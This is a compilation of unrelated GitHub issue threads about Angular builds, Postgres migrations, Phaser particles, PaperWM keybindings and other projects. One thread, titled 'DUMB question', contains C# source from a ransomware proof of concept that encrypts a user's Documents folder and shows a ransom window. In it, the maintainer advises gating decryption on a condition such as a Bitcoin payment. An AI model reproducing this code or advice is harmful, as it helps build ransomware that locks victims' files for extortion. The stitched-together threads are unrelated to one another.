** NG Live Development Server is running on http://localhost:4200. **
Hash: 54b2bb8b3e99430e6c40
Time: 7302ms
chunk    {0} polyfills.bundle.js, polyfills.bundle.map (polyfills) 222 kB {4} [initial] [rendered]
chunk    {1} main.bundle.js, main.bundle.map (main) 4.4 kB {3} [initial] [rendered]
chunk    {2} styles.bundle.js, styles.bundle.map (styles) 10 kB {4} [initial] [rendered]
chunk    {3} vendor.bundle.js, vendor.bundle.map (vendor) 2.64 MB [initial] [rendered]
chunk    {4} inline.bundle.js, inline.bundle.map (inline) 0 bytes [entry] [rendered]
webpack: Compiled successfully.
webpack: Compiling...
Hash: 1ab3af6524167dd699a4
Time: 544ms
chunk    {0} polyfills.bundle.js, polyfills.bundle.map (polyfills) 222 kB {4} [initial]
chunk    {1} main.bundle.js, main.bundle.map (main) 539 kB {3} [initial] [rendered]
chunk    {2} styles.bundle.js, styles.bundle.map (styles) 10 kB {4} [initial]
chunk    {3} vendor.bundle.js, vendor.bundle.map (vendor) 2.64 MB [initial]
chunk    {4} inline.bundle.js, inline.bundle.map (inline) 0 bytes [entry]

ERROR in ./src/example/foo.ts
Module build failed: RangeError: Maximum call stack size exceeded
    at Array.filter (native)
    at _diagnoseDeps (/path/to/project/node_modules/@ngtools/webpack/src/loader.js:261:10)
    at /path/to/project/node_modules/@ngtools/webpack/src/loader.js:264:9
    at Array.forEach (native)
    at _diagnoseDeps (/path/to/project/node_modules/@ngtools/webpack/src/loader.js:262:10)
    at /path/to/project/node_modules/@ngtools/webpack/src/loader.js:264:9
    at Array.forEach (native)
    at _diagnoseDeps
...

Mention any other details that might be useful.
It only seems to trigger this when modifying a file that was re-exported within the barrel, so I'm guessing it's getting stuck in an infinite loop when fetching its dependencies as it will eventually find itself as a dependency.

I think this is related to this issue as well. Similar error output https://github.com/angular/angular-cli/issues/4376


Database migration doesn't appear to be running as expected

If I follow the steps in the README to initialize a new system I end up with a running database but the migrations are not run.
$> npm install
$> npm run create:env
$> npm run db:up
$> npm run db:migrate

The process fails on https://github.com/covidgreen/covid-green-backend-api/blob/current/lib/migrate.js#L24 and does not indicate any failure occurred. It just silently ends with a 0 return code.

The docker-compose logs don't show any attempt being made to run migrations
$> docker-compose logs -f
Attaching to contact-tracing-db
contact-tracing-db    | 2020-08-05 21:24:39.871 UTC [1] LOG:  listening on IPv4 address "<IP_ADDRESS>", port 5432
contact-tracing-db    | 2020-08-05 21:24:39.871 UTC [1] LOG:  listening on IPv6 address "::", port 5432
contact-tracing-db    | 2020-08-05 21:24:39.874 UTC [1] LOG:  listening on Unix socket "/var/run/postgresql/.s.PGSQL.5432"
contact-tracing-db    | 2020-08-05 21:24:39.888 UTC [18] LOG:  database system was shut down at 2020-08-05 21:23:43 UTC
contact-tracing-db    | 2020-08-05 21:24:39.892 UTC [1] LOG:  database system is ready to accept connections

As a sanity check - you do not have another Postgres instance running on your host/port that it is connecting to?

I don't have any other instances running, and the instance that is running is listening in the expected port.
$> docker ps --format '{{.Image}}\t{{.Ports}}\t{{.Names}}'
postgres:10.4-alpine	<IP_ADDRESS>:5432->5432/tcp	       contact-tracing-db

My .env file contains these settings for the database
DB_HOST=localhost
DB_READ_HOST=localhost
DB_PORT=5432
DB_USER=contact_tracing
DB_PASSWORD=contact_tracing
DB_DATABASE=contact_tracing
DB_SSL=false

Also if the migration was completing, either in error or in success I'd expect one of these log lines to be printed, but neither are. https://github.com/covidgreen/covid-green-backend-api/blob/current/lib/migrate.js#L32-L36
And as a sanity check of my own I added log lines to see how far it's getting and it only gets as far as printing out 2.
async function migrateSchema() {
  console.log('running migration')
  try {
    const config = await getConfig()
    console.log('1')
    const postgrator = getPostgratorInstance(config)
    console.log('2')
    const result = await postgrator.migrate()
    console.log('3')
    if (result.length === 0) {
      console.log('4')
      console.log(
        'No migrations run for schema "public". Already at the latest one.'
      )
      console.log('5')
    }
    console.log('6')
    console.log('Migration done')
    console.log('7')
    process.exit(0)
  } catch (error) {
    console.log('8')
    console.error(error)
    console.log('9')
    process.exit(1)
  }
}

$> npm run db:migrate

><EMAIL_ADDRESS>db:migrate /Users/dgove1/dev/covid/covid-green-backend-api
> node lib/migrate.js

running migration
1
2
$>

Just to confirm the rcode, after running npm run db:migrate
$> echo $?
0

@dennisgove ... could you modify migrate.js just a bit to determine if the Promise returned here (https://github.com/covidgreen/covid-green-backend-api/blob/current/lib/migrate.js#L41) actually resolves?

This appears to be an issue local to @dennisgove.
With a fresh clone and following the command steps in the readme it is functioning as expected.

Interesting... ok, quick digging shows that there's likely a bug within postgrator somewhere then. A failure in const result = await postgrator.migrate() appears to cause the process to exit rather than properly resolving or rejecting. Definitely not ideal.

I've entered https://github.com/covidgreen/covid-green-backend-api/pull/25/files to help mitigate (though not fix) this issue. It adds support for running everything inside Docker containers will known versions of node.

It would likely be a good idea to add a comment into migrate.js that describes the basic issue here... Specifically, something that indicates that the await postgrator.migrate() call can cause the process to exit without a proper error and what that likely means.

@dennisgove ... could you modify migrate.js just a bit to determine if the Promise returned here (https://github.com/covidgreen/covid-green-backend-api/blob/current/lib/migrate.js#L41) actually resolves?
I suspect that the rcode that you're seeing here is from the npm run db:migrate call and not from the actual run of lib/migrate.js, which, as I point out in issue #10 is not properly exiting.

Changing that to see if the promise resolves does show a promise.
if (require.main === module) {
  const result = migrateSchema()
  console.log(result)
}

$> npm run db:migrate

><EMAIL_ADDRESS>db:migrate /Users/dgove1/dev/covid/covid-green-backend-api
> node lib/migrate.js

Promise { <pending> }

You'd want something like
migrateSchema().then(() => console.log('ok'))

In my local testing here, it does not resolve when the error is hit. Everything is pointing at postgrator causing the process to exit prematurely when it fails to get the database connection.

Confirm that this line does not result in ok being printed to the console.
migrateSchema().then(() => console.log('ok'))

It would likely be a good idea to add a comment into migrate.js that describes the basic issue here... Specifically, something that indicates that the await postgrator.migrate() call can cause the process to exit without a proper error and what that likely means.

Have added such a comment to the PR.

I'm not 100% sure I noted this already, but upgrading our pg dependency to 8.3.0 fixed this for me.  I'll open a PR for that shortly.  I was also not getting output.


thumbnail viewer to stay in place

Can the thumbnail viewer stay in place after an image has been selected? The user can select to hide it or not, but I find it annoying that it hides itself after a selection

done


Fails to parse personalized items after 2.4 update

After updating D2R to 2.4, personalized items stopped loading

I am also getting this error - and on a really strong item that I want to keep! :D
Please advise.

I'm also seeing similar errors after updating to 2.5. This tool has been super useful keeping track of my collection status for the past several months! I hope you're able to put in a fix.


DUMB question

Hey, I really loved your project DUMB, I am a C# student and I had some questions, you had disabled the issues page for that project, can you answer my questions here? Thanks!

That'd be fine, what did you want to ask?

Thanks for the reply, I am a total newbie and I modified the code a little bit, for example I removed that new desktop thing where everything disappears and stuff and only the DUMB form is visible.. I did that and then I noticed, if I try closing it from the taskbar, it decrypts all the files..which is the function that I do not need..What I've tried to make is a user enters a string, then checks if it's correct and if it's correct then the decrypt button is unlocked..if the decrypt button is clicked then the files are unlocked.. the problem is when the program starts it encrypts everything as needed yaaay!
But even when the password is correct and then the button is click or the program is closed from the taskbar it leaves the folder totally encrypted..
Here is my program.cs
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Diagnostics;
using System.IO;
using System.Net;
using System.Text;
using System.Windows.Forms;

namespace DUMB
{
    static class Program
    {
        public static string folder = null;
        [STAThread]

        static void Main()
        {
            string docs = Environment.GetFolderPath(Environment.SpecialFolder.MyDocuments);
            folder = docs + @"\TEST\";

            IntPtr hOldDesktop = WinAPI.GetThreadDesktop(WinAPI.GetCurrentThreadId());
            IntPtr hNewDesktop = WinAPI.CreateDesktop("DUMB",
            IntPtr.Zero, IntPtr.Zero, 0, (uint)WinAPI.DESKTOP_ACCESS.GENERIC_ALL, IntPtr.Zero);

            IntPtr hProc = IntPtr.Zero;
            try
            {
                //WinAPI.SwitchDesktop(hNewDesktop);
                bool workdone = false;
                BackgroundWorker bg = new BackgroundWorker();
                bg.DoWork += delegate
                {
                    //WinAPI.SetThreadDesktop(hNewDesktop);
                    try
                    {
                        Application.EnableVisualStyles();
                        Application.SetCompatibleTextRenderingDefault(false);
                        if (!File.Exists(folder + "crypted"))
                            Application.Run(new CryptWindow(false)); //Encrypt, you wouldn't actually do this in a ransomware, this is purely for the PoC
                        Application.Run(new Main()); //Ransom window
                       // Application.Run(new CryptWindow(true)); //Decrypt
                    }

                    finally { workdone = true; }
                };

                bg.RunWorkerAsync();

                while (!workdone)
                    System.Threading.Thread.Sleep(100);
            }
            catch { }
            finally
            {
                WinAPI.SwitchDesktop(hOldDesktop);
                WinAPI.CloseDesktop(hNewDesktop);
            }
        }
    }
}

Here is the modified main.cs
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Diagnostics;
using System.IO;
using System.Net;
using System.Text;
using System.Windows.Forms;

namespace DUMB
{
    public partial class Main : Form
    {
        public Main()
        {
            InitializeComponent();
        }

        private void Main_Load(object sender, EventArgs e)
        {
            this.Focus();
        }
        private void btnNext_Click(object sender, EventArgs e)
        {

           this.Close();
            Application.Run(new CryptWindow(true));
        }

        protected override void WndProc(ref Message message)
        {

            switch (message.Msg)
            {
                case WinAPI.WM_SYSCOMMAND:
                    int command = message.WParam.ToInt32() & 0xfff0;
                    if (command == WinAPI.SC_MOVE)
                        return;
                    break;
            }

            base.WndProc(ref message);
        }

        private void txtDidgeridoos_TextChanged(object sender, EventArgs e)
        {
            if (txtDidgeridoos.Text == "sorry")
            {
                btnNext.Enabled = true;
            }
        }
    }
}

How can I fix this? I want to present this to my class as an interesting project done in C# on sunday, the kids in my class are really cunning they'll try to break it haha, so I don't want them to see this flaw, but I love your project either way and thanks for taking the time to answer my questions. :smile:

The problem lies within these lines:
if (!File.Exists(folder + "crypted"))
    Application.Run(new CryptWindow(false)); //Encrypt, you wouldn't actually do this in a ransomware, this is purely for the PoC
Application.Run(new Main()); //Ransom window
Application.Run(new CryptWindow(true)); //Decrypt

The flow of the program goes like this:
Encrypt (if the file crypted is not found), show main form, decrypt
There's no actual logic added to the flow to prevent the program from decrypting the files in the event a condition is not met, I did this primarily because it was a proof-of-concept and there was no real condition to be met for logic to be necessary to implement.
What you want to do is remove the line
Application.Run(new CryptWindow(true)); //Decrypt

and insert it somewhere inside the main form when the condition you would like to be met is met, for example when the program checks if a user has set Bitcoins to an address and it succeeds.

That works! Thanks for explaining it so awesomely! :D

No problem


Expose user-accessible action references to enable creating redundant keybindings

Most of the time, I like to use vim-style home row directions for navigating the windows; but I also appreciate how the GNOME PaperWM lets me have this and sideswipe gestures (I'm not aware of a simple hammerspoon API for scripting gestures, but I could easily see one getting added in the future) and use the arrow keys (for example, when carrying my laptop around and using the keyboard one-handed).
Right now, I'm able to create these duplicate bindings manually, by using code like
-- in fact, I use fennel for my config, so there's a small chance this code snippet is incorrect
hs.hotkey.bind({{"cmd", "alt"}, "left"}, function () PaperWM:focusWindow(-1) end)

But this approach is undocumented, hard to read, and it generally feels brittle and hacky. Ideally, this would be unnecessary (see https://github.com/Hammerspoon/hammerspoon/issues/3569), but for the time being, it would be very nice if the definitions of preconfigured user actions (i.e. the function bindings for partially-applied methods created inside PaperWM:bindHotkeys) were moved to somewhere user accessible. I was thinking a property of the module table akin to PaperWM.default_hotkeys; does this sound reasonable?
I'm happy to create a PR for this—in fact, I intend to write the patch regardless, for my own benefit, but it would be nice to not have to rebase upstream changes and deal with potential conflicts in perpetuity.

I'd be happy to accept a PR. When experimenting with BetterTouchTool to map swipe gestures to keyboard shortcuts I also noticed the limitation around binding multiple keyboard shortcuts with bindHotkeys.
You could make public wrapper functions for focusWindow, swapWindows, etc. or you could expose the Direction enum. Either seems fine with me.


alishan after master branch

Altar hussan
03047866175
7
On Nov 10, 2016 00:01, "Ali Shan"<EMAIL_ADDRESS>wrote:

@alishanvr commented on this pull request.
454
—
You are receiving this because you are subscribed to this thread.
Reply to this email directly, view it on GitHub, or mute the thread.

<EMAIL_ADDRESS>


auto dispatch create methods in python

We have get for python, which automatically returns the correct type, i.e. get('my_vector') and get('my_int') return a numpy array and an int respectively.
Now, why don't we do the same thing for creating shogun objects via factories? (In Python)
create_kernel('GaussianKernel') -> create('GaussianKernel')
That should be possible using exactly the same mechanics as in get, or do I get this wrong? @gf712 Maybe you can provide pointers for a student to do this

Hmmm, this would be more complicated, because we call get with a visitor pattern, so we have Any to visit on. What you need is a way to dispatch with sgobject to the “base” class. Will have to think about it! Otherwise there is the naive with a try except for loop in Python..


frontend: Add graph model, grouping and filtering

Create the base graph model and basic operations like grouping and filtering for the resource map
Part of https://github.com/headlamp-k8s/headlamp/issues/198 and https://github.com/headlamp-k8s/headlamp/pull/2225

Please remember to add a PR description, including a link to the issue.

Implemented fixes for the comments, also updated the tests a bit to be more clearer


Particle position broken with canvas when using camera zoom

Version

Phaser Version: 3.21

Operating system: Linux Ubuntu

Browser: Tested in Firefox, Safari and Chrome

Description

//Edited and removed the issue with mask/tint as it was not an issue.
Particle position is changed when a camera is zoomed. The example shows an object and a particle, changing the camera zoom changes the position of the particle relative to the box when using canvas, but stays in place when using webgl.
Camera zoom breaks particle positions (and perhaps more):
example url: https://labs.phaser.io/edit.html?src=src\game%20objects\particle%20emitter\death%20zone%20from%20arcade%20body.js
Replace with code:
var config = {
    type: Phaser.CANVAS, // SWITCH TO WEBGL TO CHECK THAT THE PARTICLE KEEPS POSITION
    width: 800,
    height: 600,
    backgroundColor: '#000',
    parent: 'phaser-example',
    physics: { default: 'arcade' },
    scene: {
        preload: preload,
        create: create
    }
};

var game = new Phaser.Game(config);

var block;

function preload ()
{
    this.load.atlas('flares', 'assets/particles/flares.png', 'assets/particles/flares.json');
    this.load.image('block', 'assets/sprites/block.png');
}

function create ()
{
    var source = {
        contains: function (x, y)
        {
            return block.body.hitTest(x, y);
        }
    };

    var particles = this.add.particles('flares');

    particles.createEmitter({
        frame: [ 'red', 'green', 'blue' ],
        x: 400,
        y: 100,
        speed: 300,
        gravityY: 400,
        lifespan: 4000,
        scale: 0.4,
        blendMode: 'ADD'
    });

    block = this.physics.add.image(400, 100, 'block');

    block.setBounce(1, 1);
    block.setCollideWorldBounds(true);

    this.cameras.main.setZoom(0.5); //TRY DIFFERENT ZOOMS TO SEE HOW THE PARTICLE HAS A DIFFERENT POSITION TO THE BOX
}

Additional Information

There may be something going on with masking, but tints have never worked in Canvas mode in Phaser 3, in any version.

Actually, in the magnify mask example linked, that doesn't work in Canvas either because it uses a Bitmap Mask which is a WebGL only feature. It doesn't work in canvas mode in any version of Phaser. Look at your link, then look in the dev tools and you'll see it's using a WebGL renderer which is why it works. Edit the example, force it to canvas and you'll see it does nothing as expected.
Which just leaves the camera zoom.

Ah, sorry! Had the error in my project, went to labs to check and used the force canvas button and saw how it "worked" in the older versions. I see now it stays in WebGL when checking the console.

Yeah the force canvas feature was added after 3.11, which is why the button doesn't force anything on earlier builds.

thanks for your useful information
اَوِسینا شیمی

Thank you for submitting this issue. We have fixed this and the fix has been pushed to the master branch. It will be part of the next release. If you get time to build and test it for yourself we would appreciate that.